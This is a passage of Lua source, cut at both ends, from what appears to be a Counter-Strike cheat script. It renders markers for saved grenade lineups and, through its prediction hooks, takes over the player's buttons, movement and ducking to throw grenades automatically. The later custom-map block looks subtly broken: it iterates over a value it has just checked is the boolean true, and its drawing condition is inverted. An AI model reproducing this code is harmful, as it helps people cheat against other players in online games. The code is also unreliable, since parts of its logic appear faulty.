                              local desc_size = g_Render:CalcTextSize(temp_fov_nade.description, 9, fontdesc)
                              desired_box_height = 16
                              if(desc_size.x > desired_box_length) then desired_box_length = math.max(desired_box_length, desc_size.x) end
                         end

                         if(self.render_stuff[startname][temp_fov_name].global_alpha > 0.88) then
                              self.render_stuff[startname][temp_fov_name].box_length = math_helpers:lerp(self.render_stuff[startname][temp_fov_name].box_length, desired_box_length, g_GlobalVars.frametime * 30.0)
                              self.render_stuff[startname][temp_fov_name].description_box_height = math_helpers:lerp(self.render_stuff[startname][temp_fov_name].description_box_height, desired_box_height, g_GlobalVars.frametime * 30.0)
                              if(desired_box_length - self.render_stuff[startname][temp_fov_name].box_length < 0.1 and desired_box_height - self.render_stuff[startname][temp_fov_name].description_box_height < 0.1) then
                                   self.render_stuff[startname][temp_fov_name].text_alpha = math_helpers:lerp(self.render_stuff[startname][temp_fov_name].text_alpha, 1.0, g_GlobalVars.frametime * 30.0)
                                   self.render_stuff[startname][temp_fov_name].description_text_alpha = math_helpers:lerp(self.render_stuff[startname][temp_fov_name].description_text_alpha, 1.0, g_GlobalVars.frametime * 30.0)
                              end
                         end

                         if(screenpos.x + self.render_stuff[startname][temp_fov_name].box_length + 2 > lua_elements.screensize.x or screenpos.x < 12 or screenpos.y + 10 > lua_elements.screensize.y or screenpos.y < 10) then
                              local vecdelta = Vector2.new(screenpos.x - screencenter.x, screenpos.y - screencenter.y)
                              local length = #vecdelta
                              local cos = vecdelta.x / length
                              local sin = vecdelta.y / length
                              local max_legnth = #screencenter

                              local newpos = Vector2.new(screencenter.x + max_legnth * cos, screencenter.y + max_legnth * sin)
                              if(newpos.x + self.render_stuff[startname][temp_fov_name].box_length > lua_elements.screensize.x) then newpos.x = lua_elements.screensize.x - self.render_stuff[startname][temp_fov_name].box_length - 18
                              elseif(newpos.x < 16) then newpos.x = 28 end
                              if(newpos.y + 16 > lua_elements.screensize.y) then newpos.y = lua_elements.screensize.y - 28
                              elseif(newpos.y < 16) then newpos.y = 28 end

                              screenpos = newpos
                         end

                         g_Render:BoxFilled(Vector2.new(screenpos.x - 10, screenpos.y - 8), Vector2.new(screenpos.x + self.render_stuff[startname][temp_fov_name].box_length, screenpos.y + 8), Color.new(color_set_background.target_r, color_set_background.target_g, color_set_background.target_b, ggalpha))
                         g_Render:Text(temp_fov_name, Vector2.new(screenpos.x + 18, screenpos.y - name_size.y / 2 + 1), Color.new(color_set.text_color_r, color_set.text_color_g, color_set.text_color_b, self.render_stuff[startname][temp_fov_name].text_alpha), 11, font, true)
                         g_Render:Text("|", Vector2.new(screenpos.x + 5, screenpos.y - name_size.y / 2 + 1), Color.new(color_set.text_color_r, color_set.text_color_g, color_set.text_color_b, self.render_stuff[startname][temp_fov_name].text_alpha), 10, stik, true)
                         g_Render:Text(">>", Vector2.new(screenpos.x + 9, screenpos.y - name_size.y / 2 - 2), Color.new(color_set.text_color_r, color_set.text_color_g, color_set.text_color_b, self.render_stuff[startname][temp_fov_name].text_alpha), 8, arr, true)
                         g_Render:BoxFilled(Vector2.new(screenpos.x - 10, screenpos.y + 8), Vector2.new(screenpos.x + self.render_stuff[startname][temp_fov_name].box_length, screenpos.y + 8 + self.render_stuff[startname][temp_fov_name].description_box_height), Color.new(color_set_background.target_r, color_set_background.target_g, color_set_background.target_b, ggalpha))

                         if(temp_fov_nade.description and string.len(temp_fov_nade.description) > 0) then
                              local desc_size = g_Render:CalcTextSize(temp_fov_nade.description,  9, fontdesc)
                              g_Render:BoxFilled(Vector2.new(screenpos.x - 10, screenpos.y + 8), Vector2.new(screenpos.x + self.render_stuff[startname][temp_fov_name].box_length, screenpos.y + 9), Color.new(color_set_background.gradient_line_r, color_set_background.gradient_line_g, color_set_background.gradient_line_b, ggalpha))
                              g_Render:Text(temp_fov_nade.description, Vector2.new(screenpos.x - 5, screenpos.y + 8 + self.render_stuff[startname][temp_fov_name].description_box_height / 2 - desc_size.y / 2), Color.new(255, 255, 255, 255), 9, fontdesc, true)
                         end

                         g_Render:CircleFilled(screenpos, 5, 15, Color.new(color_set_circle.circle_color_r, color_set_circle.circle_color_g, color_set_circle.circle_color_b, self.render_stuff[startname][temp_fov_name].global_alpha))
                         g_Render:Circle(screenpos, 5, 15, Color.new(0.1, 0.1, 0.1, self.render_stuff[startname][temp_fov_name].global_alpha))
                    end

                    if(bestlength < nade_type_size.x) then bestlength = nade_type_size.x end

                    if(distance < 400.0 and (temp_nade and temp_nade == startspot or temp_nade == nil or lua_elements.nade_helper:GetBool() == false)) then
                         self.render_stuff[startname].box_length = math_helpers:lerp(self.render_stuff[startname].box_length, bestlength, g_GlobalVars.frametime * 20.0)
                         self.render_stuff[startname].box_height = math_helpers:lerp(self.render_stuff[startname].box_height, num_spots * 16 + 1, g_GlobalVars.frametime * 20.0)
                         self.render_stuff[startname].icon_alpha = math_helpers:lerp(self.render_stuff[startname].icon_alpha, 0.0, g_GlobalVars.frametime * 20.0)
                         self.render_stuff[startname].box_additions_alpha = math_helpers:lerp(self.render_stuff[startname].box_additions_alpha, self.render_stuff[startname].global_alpha, g_GlobalVars.frametime * 20.0)
                         if(bestlength - self.render_stuff[startname].box_length < 0.1) then
                         self.render_stuff[startname].box_additions_alpha = math_helpers:lerp(self.render_stuff[startname].box_additions_alpha, self.render_stuff[startname].global_alpha, g_GlobalVars.frametime * 20.0)
                         self.render_stuff[startname].text_alpha = math_helpers:lerp(self.render_stuff[startname].text_alpha, self.render_stuff[startname].global_alpha, g_GlobalVars.frametime * 20.0)
                         end
                        minus = 17
                    elseif(distance > 400 or (temp_nade and temp_nade ~= startspot)) then
                         self.render_stuff[startname].text_alpha = math_helpers:lerp(self.render_stuff[startname].text_alpha, 0.0, g_GlobalVars.frametime * 20.0)
                         if(self.render_stuff[startname].text_alpha < 0.01) then
                         self.render_stuff[startname].box_additions_alpha = math_helpers:lerp(self.render_stuff[startname].box_additions_alpha, 0.0, g_GlobalVars.frametime * 20.0)
                         self.render_stuff[startname].icon_alpha = math_helpers:lerp(self.render_stuff[startname].icon_alpha, self.render_stuff[startname].global_alpha, g_GlobalVars.frametime * 20.0)
                         self.render_stuff[startname].box_length = math_helpers:lerp(self.render_stuff[startname].box_length, 16, g_GlobalVars.frametime * 20.0)
                         self.render_stuff[startname].box_height = math_helpers:lerp(self.render_stuff[startname].box_height, 18, g_GlobalVars.frametime * 20.0)
                         end
                         minus = 0
                    end

                    g_Render:BoxFilled(Vector2.new(screenpos.x - self.render_stuff[startname].box_length / 2 - 3 - minus, screenpos.y + 1), Vector2.new(screenpos.x + self.render_stuff[startname].box_length / 2 + 3, screenpos.y - self.render_stuff[startname].box_height - 3), Color.new(color_set_background.body_r, color_set_background.body_g, color_set_background.body_b, ggalpha))
                
                    local icon_size = g_Render:CalcWeaponIconSize(weapon_id, 20)
                
                    g_Render:WeaponIcon(weapon_id, Vector2.new(screenpos.x - self.render_stuff[startname].box_length / 2 - 17, screenpos.y - icon_size.y - 1), Color.new(color_set_icon.icon_color_r, color_set_icon.icon_color_g, color_set_icon.icon_color_b, self.render_stuff[startname].text_alpha), 20, true)
                    g_Render:WeaponIcon(weapon_id, Vector2.new(screenpos.x - icon_size.x / 2, screenpos.y - icon_size.y - 1), Color.new(color_set_icon.icon_color_r, color_set_icon.icon_color_g, color_set_icon.icon_color_b, self.render_stuff[startname].icon_alpha), 20, true)
                
                    num_spots = 0
                    for endname, endspot in pairs(startspot) do
                         if(type(endspot) == "table") then
                         local name_size = g_Render:CalcTextSize(endname, 11, font)
                         g_Render:Text(endname, Vector2.new(screenpos.x - name_size.x / 2, screenpos.y - (11 * num_spots) - name_size.y - 3), Color.new(color_set.text_color_r, color_set.text_color_g, color_set.text_color_b, self.render_stuff[startname].text_alpha), 11, font, true)
                         num_spots = num_spots + 1
                         end
                    end
               end
          end
     end
end

          for i = 1, 1 do
               if(self.custom_maps[i] == true) then
                    for startname, startspot in pairs(self.custom_maps[i]) do
                         if not (lua_elements.nade_helper_nades:GetBool(self.menu_nades[tostring(weapon_id)]) == false or startspot.map ~= map or tostring(weapon_id) ~= startspot.type) then
                         if(self.render_stuff[startname] == nil) then self.render_stuff[startname] = {} end
                         if(self.render_stuff[startname].global_alpha == nil) then self.render_stuff[startname].global_alpha = 0.0 end
                         if(self.render_stuff[startname].box_length == nil) then self.render_stuff[startname].box_length = 30.0 end
                         if(self.render_stuff[startname].box_height == nil) then self.render_stuff[startname].box_height = 30.0 end
                         if(self.render_stuff[startname].text_alpha == nil) then self.render_stuff[startname].text_alpha = 0.0 end
                         if(self.render_stuff[startname].icon_alpha == nil) then self.render_stuff[startname].icon_alpha = 0.0 end
                         if(self.render_stuff[startname].box_additions_alpha == nil) then self.render_stuff[startname].box_additions_alpha = 0.0 end

                         local distance = vecOrigin:DistTo(startspot.pos)
                         if(distance > 1750.0) then
                              self.render_stuff[startname].global_alpha = math_helpers:lerp(self.render_stuff[startname].global_alpha, 0.0, g_GlobalVars.frametime * 20.0)
                         else
                              local trace = g_EngineTrace:TraceRay(vecEyePosition, startspot.pos, localplayer, 0x200400B)
                              if(trace.fraction > 0.98) then
                                   if(distance > 1250.0) then
                                        self.render_stuff[startname].global_alpha = math_helpers:lerp(self.render_stuff[startname].global_alpha, 0.4, g_GlobalVars.frametime * 20.0)
                                   elseif(distance < 5.0) then
                                        self.render_stuff[startname].global_alpha = math_helpers:lerp(self.render_stuff[startname].global_alpha, 1.0, g_GlobalVars.frametime * 20.0)
                                   else
                                        self.render_stuff[startname].global_alpha = math_helpers:lerp(self.render_stuff[startname].global_alpha, 0.8, g_GlobalVars.frametime * 20.0)
                                   end
                              else
                                   self.render_stuff[startname].global_alpha = math_helpers:lerp(self.render_stuff[startname].global_alpha, 0.0, g_GlobalVars.frametime * 20.0)
                              end
                         end

                         if(self.render_stuff[startname].global_alpha < 0.01) then

                         local screenpos = g_Render:ScreenPosition(Vector.new(startspot.pos.x, startspot.pos.y, startspot.pos.z + 10.0))
                         local nade_type_size = g_Render:CalcTextSize(self.nade_type[tostring(weapon_id)], 0)
                         local bestlength = 0
                         local num_spots = 0
                         local temp_fov_nade = nil
                         local temp_fov_name = nil
                         local bestfov = lua_elements.nade_helper_fov:GetInt()

                         for endname, endspot in pairs(startspot) do
                              if(type(endspot) == "table") then
                              local name_size = g_Render:CalcTextSize(endname, 11, font)
                              if(name_size.x > bestlength) then bestlength = name_size.x end

                              if(self.render_stuff[startname][endname] == nil) then self.render_stuff[startname][endname] = {} end
                              if(self.render_stuff[startname][endname].global_alpha == nil) then self.render_stuff[startname][endname].global_alpha = 0.0 end
                              if(self.render_stuff[startname][endname].box_length == nil) then self.render_stuff[startname][endname].box_length = 10.0 end
                              if(self.render_stuff[startname][endname].text_alpha == nil) then self.render_stuff[startname][endname].text_alpha = 0.0 end
                              if(self.render_stuff[startname][endname].circle_color == nil) then self.render_stuff[startname][endname].circle_color = Color.new(0.15, 0.15, 0.15, 0.0) end
                              if(self.render_stuff[startname][endname].description_box_height == nil) then self.render_stuff[startname][endname].description_box_height = 0.0 end
                              if(self.render_stuff[startname][endname].description_text_alpha == nil) then self.render_stuff[startname][endname].description_text_alpha = 0.0 end
                
                              if(endspot.endposition == nil) then
                                   local vecStart = Vector.new(startspot.pos.x, startspot.pos.y, startspot.pos.z + 64.0)
                                   local forward = cheat.AngleToForward(endspot.ang)
                                   local vecEnd = Vector.new(vecStart.x + 800.0 * forward.x, vecStart.y + 800.0 * forward.y, vecStart.z + 800.0 * forward.z)
                                   local trace = g_EngineTrace:TraceRay(vecStart, vecEnd, localplayer, 0x46004003)
                                   endspot.endposition = Vector.new(trace.endpos.x, trace.endpos.y, trace.endpos.z)
                              end
                              if(endspot.jumpthresthold == nil) then
                                   endspot.jumpthresthold = 0
                              end
                              if(endspot.movedirection == nil) then
                                   endspot.movedirection = 0
                              end
                              if(endspot.backupdirection == nil) then
                                   endspot.backupdirection = 0
                              end
                              if(endspot.backupduration == nil) then
                                   endspot.backupduration = 1
                              end
                              if(endspot.extendforward == nil) then
                                   endspot.extendforward = false
                              end
                
                              local angles = math_helpers:normalizeangles(math_helpers:calcangle(vecEyePosition, endspot.endposition))
                              local fov = math.sqrt((angles.pitch - angViewAngles.pitch) ^ 2 + (angles.yaw - angViewAngles.yaw) ^ 2)
                              fov = math_helpers:normalizefloat(fov)
                              fov = math.abs(fov)
                
                              if(fov < bestfov and distance <= 50.0 and startspot == temp_nade) then
                                   bestfov = fov
                                   temp_fov_nade = endspot
                                   temp_fov_name = endname
                                   if(self.should_throw == false) then self.closest_nade = endspot end
                              end
                              num_spots = num_spots + 1
                              end
                         end

                         for endname, endspot in pairs(startspot) do
                              if not(type(endspot) ~= "table" or endspot == temp_fov_nade) then
          
                              local screenpos = g_Render:ScreenPosition(endspot.endposition)
                              local name_size = g_Render:CalcTextSize(endname, 11, font)
          
                              local r = math_helpers:lerp(self.render_stuff[startname][endname].circle_color:r(), 0.3, g_GlobalVars.frametime * 15.0)
                              local g = math_helpers:lerp(self.render_stuff[startname][endname].circle_color:g(), 0.3, g_GlobalVars.frametime * 15.0)
                              local b = math_helpers:lerp(self.render_stuff[startname][endname].circle_color:b(), 0.3, g_GlobalVars.frametime * 15.0)

                              local desired_box_length = name_size.x + 20

                              if(endspot.description and string.len(endspot.description) > 0) then
                              local desc_size = g_Render:CalcTextSize(endspot.description, 9, fontdesc)
                              desired_box_height = 16
                              if(self.render_stuff[startname][endname].description_text_alpha > 0.01) then desired_box_length = math.max(desired_box_length, desc_size.x) end
                              end

                              self.render_stuff[startname][endname].description_text_alpha = math_helpers:lerp(self.render_stuff[startname][endname].description_text_alpha, 0.0, g_GlobalVars.frametime * 60.0)

                              if(distance > 50.0 or startspot ~= temp_nade) then
                              self.render_stuff[startname][endname].text_alpha = math_helpers:lerp(self.render_stuff[startname][endname].text_alpha, 0.0, g_GlobalVars.frametime * 60.0)
                              if(self.render_stuff[startname][endname].text_alpha < 0.01) then
                                   self.render_stuff[startname][endname].box_length = math_helpers:lerp(self.render_stuff[startname][endname].box_length, 10.0, g_GlobalVars.frametime * 30.0)
                                   self.render_stuff[startname][endname].description_box_height = math_helpers:lerp(self.render_stuff[startname][endname].description_box_height, 0.0, g_GlobalVars.frametime * 30.0)
                                   if(self.render_stuff[startname][endname].box_length - 10.0 < 0.1 and self.render_stuff[startname][endname].description_box_height < 0.1) then
                                        self.render_stuff[startname][endname].global_alpha = math_helpers:lerp(self.render_stuff[startname][endname].global_alpha, 0.0, g_GlobalVars.frametime * 60.0)
                                   end
                              end
                              else
                              if(screenpos.x + self.render_stuff[startname][endname].box_length + 2 > lua_elements.screensize.x or screenpos.x < 12 or screenpos.y + 10 > lua_elements.screensize.y or screenpos.y < 10) then
                                   self.render_stuff[startname][endname].global_alpha = math_helpers:lerp(self.render_stuff[startname][endname].global_alpha, 1.0, g_GlobalVars.frametime * 60.0)
                              else
                                   self.render_stuff[startname][endname].global_alpha = math_helpers:lerp(self.render_stuff[startname][endname].global_alpha, 0.6, g_GlobalVars.frametime * 60.0)
                              end
                              if(self.render_stuff[startname][endname].global_alpha > 0.58) then
                                   self.render_stuff[startname][endname].box_length = math_helpers:lerp(self.render_stuff[startname][endname].box_length, desired_box_length, g_GlobalVars.frametime * 30.0)
                                   if(desired_box_length - self.render_stuff[startname][endname].box_length < 0.1) then
                                        self.render_stuff[startname][endname].text_alpha = math_helpers:lerp(self.render_stuff[startname][endname].text_alpha, self.render_stuff[startname][endname].global_alpha, g_GlobalVars.frametime * 60.0)
                                        if(self.render_stuff[startname][endname].description_text_alpha < 0.01) then
                                             self.render_stuff[startname][endname].description_box_height = math_helpers:lerp(self.render_stuff[startname][endname].description_box_height, 0.0, g_GlobalVars.frametime * 60.0)
                                        end
                                   end
                              end
                              end
                              self.render_stuff[startname][endname].circle_color = Color.new(r, g, b, self.render_stuff[startname][endname].global_alpha)
                              if not (self.render_stuff[startname][endname].global_alpha < 0.01) then

                              if(screenpos.x + self.render_stuff[startname][endname].box_length + 2 > lua_elements.screensize.x or screenpos.x < 12 or screenpos.y + 10 > lua_elements.screensize.y or screenpos.y < 10) then
                                   local vecdelta = Vector2.new(screenpos.x - screencenter.x, screenpos.y - screencenter.y)
                                   local length = #vecdelta
                                   local cos = vecdelta.x / length
                                   local sin = vecdelta.y / length
                                   local max_legnth = #screencenter

                                   local newpos = Vector2.new(screencenter.x + max_legnth * cos, screencenter.y + max_legnth * sin)
                                   if(newpos.x + self.render_stuff[startname][endname].box_length > lua_elements.screensize.x) then newpos.x = lua_elements.screensize.x - self.render_stuff[startname][endname].box_length - 18
                                   elseif(newpos.x < 16) then newpos.x = 28 end
                                   if(newpos.y + 16 > lua_elements.screensize.y) then newpos.y = lua_elements.screensize.y - 28
                                   elseif(newpos.y < 16) then newpos.y = 28 end

                                   screenpos = newpos
                              end
                              g_Render:BoxFilled(Vector2.new(screenpos.x - 10, screenpos.y - 8), Vector2.new(screenpos.x + self.render_stuff[startname][endname].box_length, screenpos.y + 8), Color.new(color_set_background.target_r, color_set_background.target_g, color_set_background.target_b, ggalpha))
                              g_Render:Text(endname, Vector2.new(screenpos.x + 18, screenpos.y - name_size.y / 2 + 1), Color.new(color_set.text_color_r, color_set.text_color_g, color_set.text_color_b, self.render_stuff[startname][endname].text_alpha), 11, font, true)
                              g_Render:Text("|", Vector2.new(screenpos.x + 5, screenpos.y - name_size.y / 2 + 1), Color.new(color_set.text_color_r, color_set.text_color_g, color_set.text_color_b, self.render_stuff[startname][endname].text_alpha), 10, stik, true)
                              g_Render:Text(">>", Vector2.new(screenpos.x + 9, screenpos.y - name_size.y / 2 - 2), Color.new(color_set.text_color_r, color_set.text_color_g, color_set.text_color_b, self.render_stuff[startname][endname].text_alpha), 8, arr, true)
                              g_Render:BoxFilled(Vector2.new(screenpos.x - 10, screenpos.y + 8), Vector2.new(screenpos.x + self.render_stuff[startname][endname].box_length, screenpos.y + 8 + self.render_stuff[startname][endname].description_box_height), Color.new(color_set_background.body_r, color_set_background.body_g, color_set_background.body_b, ggalpha))

                              g_Render:CircleFilled(screenpos, 5, 15, Color.new(0.39, 0.39, 0.39, self.render_stuff[startname][endname].global_alpha))
                              g_Render:Circle(screenpos, 5, 15, Color.new(0.1, 0.1, 0.1, self.render_stuff[startname][endname].global_alpha))
                         end
                    end
               end

                         if(temp_fov_nade) then
                              local screenpos = g_Render:ScreenPosition(temp_fov_nade.endposition)
                              local name_size = g_Render:CalcTextSize(temp_fov_name, 11, font)
                
                              local r = math_helpers:lerp(self.render_stuff[startname][temp_fov_name].circle_color:r(), 0.25, g_GlobalVars.frametime * 15.0)
                              local g = math_helpers:lerp(self.render_stuff[startname][temp_fov_name].circle_color:g(), 0.65, g_GlobalVars.frametime * 15.0)
                              local b = math_helpers:lerp(self.render_stuff[startname][temp_fov_name].circle_color:b(), 0.25, g_GlobalVars.frametime * 15.0)

                              self.render_stuff[startname][temp_fov_name].global_alpha = math_helpers:lerp(self.render_stuff[startname][temp_fov_name].global_alpha, 0.9, g_GlobalVars.frametime * 30.0)
                              self.render_stuff[startname][temp_fov_name].circle_color = Color.new(r, g, b, self.render_stuff[startname][temp_fov_name].global_alpha)

                              local desired_box_length = name_size.x + 20
                              local desired_box_height = 0
                          
                              if(temp_fov_nade.description and string.len(temp_fov_nade.description) > 0) then
                                   local desc_size = g_Render:CalcTextSize(temp_fov_nade.description,  9, fontdesc)
                                   desired_box_height = 16
                                   if(desc_size.x > desired_box_length) then desired_box_length = math.max(desired_box_length, desc_size.x) end
                              end

                              if(self.render_stuff[startname][temp_fov_name].global_alpha > 0.88) then
                                   self.render_stuff[startname][temp_fov_name].box_length = math_helpers:lerp(self.render_stuff[startname][temp_fov_name].box_length, desired_box_length, g_GlobalVars.frametime * 30.0)
                                   self.render_stuff[startname][temp_fov_name].description_box_height = math_helpers:lerp(self.render_stuff[startname][temp_fov_name].description_box_height, desired_box_height, g_GlobalVars.frametime * 30.0)
                                   if(desired_box_length - self.render_stuff[startname][temp_fov_name].box_length < 0.1 and desired_box_height - self.render_stuff[startname][temp_fov_name].description_box_height < 0.1) then
                                        self.render_stuff[startname][temp_fov_name].text_alpha = math_helpers:lerp(self.render_stuff[startname][temp_fov_name].text_alpha, 1.0, g_GlobalVars.frametime * 30.0)
                                        self.render_stuff[startname][temp_fov_name].description_text_alpha = math_helpers:lerp(self.render_stuff[startname][temp_fov_name].description_text_alpha, 1.0, g_GlobalVars.frametime * 30.0)
                                   end
                              end

                              if(screenpos.x + self.render_stuff[startname][temp_fov_name].box_length + 2 > lua_elements.screensize.x or screenpos.x < 12 or screenpos.y + 10 > lua_elements.screensize.y or screenpos.y < 10) then
                                   local vecdelta = Vector2.new(screenpos.x - screencenter.x, screenpos.y - screencenter.y)
                                   local length = #vecdelta
                                   local cos = vecdelta.x / length
                                   local sin = vecdelta.y / length
                                   local max_legnth = #screencenter

                                   local newpos = Vector2.new(screencenter.x + max_legnth * cos, screencenter.y + max_legnth * sin)
                                   if(newpos.x + self.render_stuff[startname][temp_fov_name].box_length > lua_elements.screensize.x) then newpos.x = lua_elements.screensize.x - self.render_stuff[startname][temp_fov_name].box_length - 18
                                   elseif(newpos.x < 16) then newpos.x = 28 end
                                   if(newpos.y + 16 > lua_elements.screensize.y) then newpos.y = lua_elements.screensize.y - 28
                                   elseif(newpos.y < 16) then newpos.y = 28 end

                                   screenpos = newpos
                              end

                              g_Render:BoxFilled(Vector2.new(screenpos.x - 10, screenpos.y - 8), Vector2.new(screenpos.x + self.render_stuff[startname][temp_fov_name].box_length, screenpos.y + 8), Color.new(color_set_background.target_r, color_set_background.target_g, color_set_background.target_b, ggalpha))
                              g_Render:Text(temp_fov_name, Vector2.new(screenpos.x + 18, screenpos.y - name_size.y / 2 + 1), Color.new(color_set.text_color_r, color_set.text_color_g, color_set.text_color_b, self.render_stuff[startname][temp_fov_name].text_alpha), 11, font, true)
                              g_Render:Text("|", Vector2.new(screenpos.x + 5, screenpos.y - name_size.y / 2 + 1), Color.new(color_set.text_color_r, color_set.text_color_g, color_set.text_color_b, self.render_stuff[startname][temp_fov_name].text_alpha), 10, stik, true)
                              g_Render:Text(">>", Vector2.new(screenpos.x + 9, screenpos.y - name_size.y / 2 - 2), Color.new(color_set.text_color_r, color_set.text_color_g, color_set.text_color_b, self.render_stuff[startname][temp_fov_name].text_alpha), 8, arr, true)
                              g_Render:BoxFilled(Vector2.new(screenpos.x - 10, screenpos.y + 8), Vector2.new(screenpos.x + self.render_stuff[startname][temp_fov_name].box_length, screenpos.y + 8 + self.render_stuff[startname][temp_fov_name].description_box_height), Color.new(color_set_background.body_r, color_set_background.body_g, color_set_background.body_b, ggalpha))

                              if(temp_fov_nade.description and string.len(temp_fov_nade.description) > 0) then
                                   local desc_size = g_Render:CalcTextSize(temp_fov_nade.description,  9, fontdesc)
                                   g_Render:BoxFilled(Vector2.new(screenpos.x - 10, screenpos.y + 8), Vector2.new(screenpos.x + self.render_stuff[startname][temp_fov_name].box_length, screenpos.y + 9), Color.new(color_set_background.body_r, color_set_background.body_g, color_set_background.body_b, ggalpha))
                                   g_Render:Text(temp_fov_nade.description, Vector2.new(screenpos.x - 5, screenpos.y + 8 + self.render_stuff[startname][temp_fov_name].description_box_height / 2 - desc_size.y / 2), Color.new(255, 255, 255, 255), 9, fontdesc, true)
                              end

                              g_Render:CircleFilled(screenpos, 5, 15, Color.new(color_set_circle.circle_color_r, color_set_circle.circle_color_g, color_set_circle.circle_color_b, self.render_stuff[startname][temp_fov_name].global_alpha))
                              g_Render:Circle(screenpos, 5, 15, Color.new(0.1, 0.1, 0.1, self.render_stuff[startname][temp_fov_name].global_alpha))
                         end

                         if(bestlength < nade_type_size.x) then bestlength = nade_type_size.x end

                         if(distance < 400.0 and (temp_nade and temp_nade == startspot or temp_nade == nil or lua_elements.nade_helper:GetBool() == false)) then
                              self.render_stuff[startname].box_length = math_helpers:lerp(self.render_stuff[startname].box_length, bestlength, g_GlobalVars.frametime * 20.0)
                              self.render_stuff[startname].box_height = math_helpers:lerp(self.render_stuff[startname].box_height, num_spots * 16 + 1, g_GlobalVars.frametime * 20.0)
                              self.render_stuff[startname].icon_alpha = math_helpers:lerp(self.render_stuff[startname].icon_alpha, 0.0, g_GlobalVars.frametime * 20.0)
                              self.render_stuff[startname].box_additions_alpha = math_helpers:lerp(self.render_stuff[startname].box_additions_alpha, self.render_stuff[startname].global_alpha, g_GlobalVars.frametime * 20.0)
                              if(bestlength - self.render_stuff[startname].box_length < 0.1) then
                              self.render_stuff[startname].box_additions_alpha = math_helpers:lerp(self.render_stuff[startname].box_additions_alpha, self.render_stuff[startname].global_alpha, g_GlobalVars.frametime * 20.0)
                              self.render_stuff[startname].text_alpha = math_helpers:lerp(self.render_stuff[startname].text_alpha, self.render_stuff[startname].global_alpha, g_GlobalVars.frametime * 20.0)
                              end
                              minus = 17
                         elseif(distance > 400 or (temp_nade and temp_nade ~= startspot)) then
                              self.render_stuff[startname].text_alpha = math_helpers:lerp(self.render_stuff[startname].text_alpha, 0.0, g_GlobalVars.frametime * 20.0)
                              if(self.render_stuff[startname].text_alpha < 0.01) then
                              self.render_stuff[startname].box_additions_alpha = math_helpers:lerp(self.render_stuff[startname].box_additions_alpha, 0.0, g_GlobalVars.frametime * 20.0)
                              self.render_stuff[startname].icon_alpha = math_helpers:lerp(self.render_stuff[startname].icon_alpha, self.render_stuff[startname].global_alpha, g_GlobalVars.frametime * 20.0)
                              self.render_stuff[startname].box_length = math_helpers:lerp(self.render_stuff[startname].box_length, 16, g_GlobalVars.frametime * 20.0)
                              self.render_stuff[startname].box_height = math_helpers:lerp(self.render_stuff[startname].box_height, 18, g_GlobalVars.frametime * 20.0)
                              end
                              minus = 0
                         end

                         g_Render:BoxFilled(Vector2.new(screenpos.x - self.render_stuff[startname].box_length / 2 - 3 - minus, screenpos.y + 1), Vector2.new(screenpos.x + self.render_stuff[startname].box_length / 2 + 3, screenpos.y - self.render_stuff[startname].box_height - 3), Color.new(color_set_background.body_r, color_set_background.body_g, color_set_background.body_b, ggalpha))
                    
                         local icon_size = g_Render:CalcWeaponIconSize(weapon_id, 20)
                    
                         g_Render:WeaponIcon(weapon_id, Vector2.new(screenpos.x - self.render_stuff[startname].box_length / 2 - 17, screenpos.y - icon_size.y + 1), Color.new(color_set_icon.icon_color_r, color_set_icon.icon_color_g, color_set_icon.icon_color_b, self.render_stuff[startname].text_alpha), 20, true)
                    
                         g_Render:WeaponIcon(weapon_id, Vector2.new(screenpos.x - icon_size.x / 2, screenpos.y - icon_size.y - 1), Color.new(color_set_icon.icon_color_r, color_set_icon.icon_color_g, color_set_icon.icon_color_b, self.render_stuff[startname].icon_alpha), 20, true)
                    
                         num_spots = 0
                         for endname, endspot in pairs(startspot) do
                              if(type(endspot) == "table") then
                              local name_size = g_Render:CalcTextSize(endname, 11, font)
                              g_Render:Text(endname, Vector2.new(screenpos.x - name_size.x / 2, screenpos.y - (11 * num_spots) - name_size.y - 3), Color.new(color_set.text_color_r, color_set.text_color_g, color_set.text_color_b, self.render_stuff[startname].text_alpha), 11, font, true)
                              num_spots = num_spots + 1
                              end
                         end
                    end
               end
          end
     end
end
end,

     on_pre_prediction = function(self, cmd)
          self:backup_strafe(cmd)
          self:extend_forward(cmd)
          if(self.should_throw == true) then
               if(self.closest_nade.duck == true) then cmd.buttons = bit.bor(cmd.buttons, 4)
               else cmd.buttons = bit.band(cmd.buttons, bit.bnot(4)) end
          end
     end,

     on_prediction = function(self, cmd)
          self:update_configs()
          local localplayer = g_EntityList:GetClientEntity(g_EngineClient:GetLocalPlayer())
          if(localplayer == nil) then return end
          localplayer = localplayer:GetPlayer()
          local velocity = Vector.new(localplayer:GetProp("DT_BasePlayer", "m_vecVelocity[0]"), localplayer:GetProp("DT_BasePlayer", "m_vecVelocity[1]"), localplayer:GetProp("DT_BasePlayer", "m_vecVelocity[2]"))
          local weapon = localplayer:GetActiveWeapon()
          if(weapon == nil) then return end
          local throwtime = weapon:GetProp("DT_BaseCSGrenade", "m_fThrowTime")
          local duckamount = localplayer:GetProp("DT_BasePlayer", "m_flDuckAmount")
          local throwstrengh = weapon:GetProp("DT_BaseCSGrenade", "m_flThrowStrength")
          if(self.should_throw == true) then
               cmd.buttons = bit.bor(cmd.buttons, 1)
               if(self.closest_nade.duck == true and duckamount ~= 1.0) then return end
               if(self.closest_nade.duck == false and duckamount ~= 0.0) then return end
               if(self.closest_nade.strength ~= 1.0 and throwstrengh > self.closest_nade.strength) then cmd.buttons = bit.bor(cmd.buttons, 2048); cmd.buttons = bit.band(cmd.buttons, bit.bnot(1)); return end
               if(throwstrengh < self.closest_nade.strength) then cmd.buttons = bit.bor(cmd.buttons, 1) end
               if(self.run_tick == 0) then self.run_tick = cmd.tick_count end
               if(self.closest_nade.runduration > 0 and self.force_forward == false) then
                    local speedfactor = 1.0
                    if(self.closest_nade.duck) then speedfactor = 2.93 end
                    local movedirection = cmd.viewangles.yaw - (self.closest_nade.ang.yaw + self.movedirections[self.closest_nade.movedirection])
                    local move = cheat.AngleToForward(QAngle.new(0, movedirection, 0))
                    cmd.forwardmove = (move.x) * (self.closest_nade.speed * speedfactor)
                    cmd.sidemove = (move.y) * (self.closest_nade.speed * speedfactor)
               end
               if(cmd.tick_count - self.run_tick >= self.closest_nade.runduration) then
                    if(self.jump_tick == 0) then self.jump_tick = cmd.tick_count end
                    if(self.closest_nade.jump and self.closest_nade.jumpthresthold <= 0) then
                         cmd.buttons = bit.bor(cmd.buttons, 2)
                    end
                    if(cmd.tick_count - self.jump_tick >= self.closest_nade.jumpduration or self.closest_nade.jumpthresthold > 0) then
                         cmd.buttons = bit.band(cmd.buttons, bit.bnot(1))
